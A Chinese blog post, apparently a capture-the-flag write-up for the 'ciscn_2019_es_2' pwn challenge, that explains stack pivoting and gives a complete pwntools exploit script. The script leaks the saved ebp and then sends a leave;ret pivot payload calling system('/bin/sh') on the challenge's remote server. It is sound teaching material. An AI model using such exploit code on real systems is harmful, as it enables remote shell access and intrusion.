博客园 首页 私信博主 回到顶部 联系博主
(仅pc端)
管理 换背景图

ciscn_2019_es_2(栈迁移)

一、查保护

二、代码审计

三、过程

栈溢出,但是溢出的字节有限,此时我们就需要用到栈迁移,第一次泄露ebp并确定s数组的偏移(0x38)然后再构建rop。

四、脚本

from pwn import *

#context(os='linux', arch='amd64', log_level='debug')

ru=lambda x:io.recvuntil(x)
rl=lambda :io.recvline()
sla=lambda x,y:io.sendlineafter(x,y)
sl=lambda x:io.sendline(x)
sd=lambda x:io.send(x)

#io = process('./ciscn_2019_es_2')
io=remote('node3.buuoj.cn',26104)

#gdb.attach(io)

payload='a'*0x28
sd(payload)
ru('a'*0x28)
stack_ebp=u32(io.recv(4))
print(hex(stack_ebp))

payload=(p32(0)+p32(0x8048400)+p32(0)+p32(stack_ebp-0x38+0x10)+b'/bin/sh\x00').ljust(0x28, b'\x00')+p32(stack_ebp-0x38)+p32(0x80484b8)
sl(payload)

io.interactive()

五、总结

栈迁移就是利用leave_ret控制eip指回来。
踩坑:注意send和sendline区别之前一直接收错误ebp

posted @ 2021-03-30 17:36  温一壶白开  阅读(265)  评论(0)    收藏  举报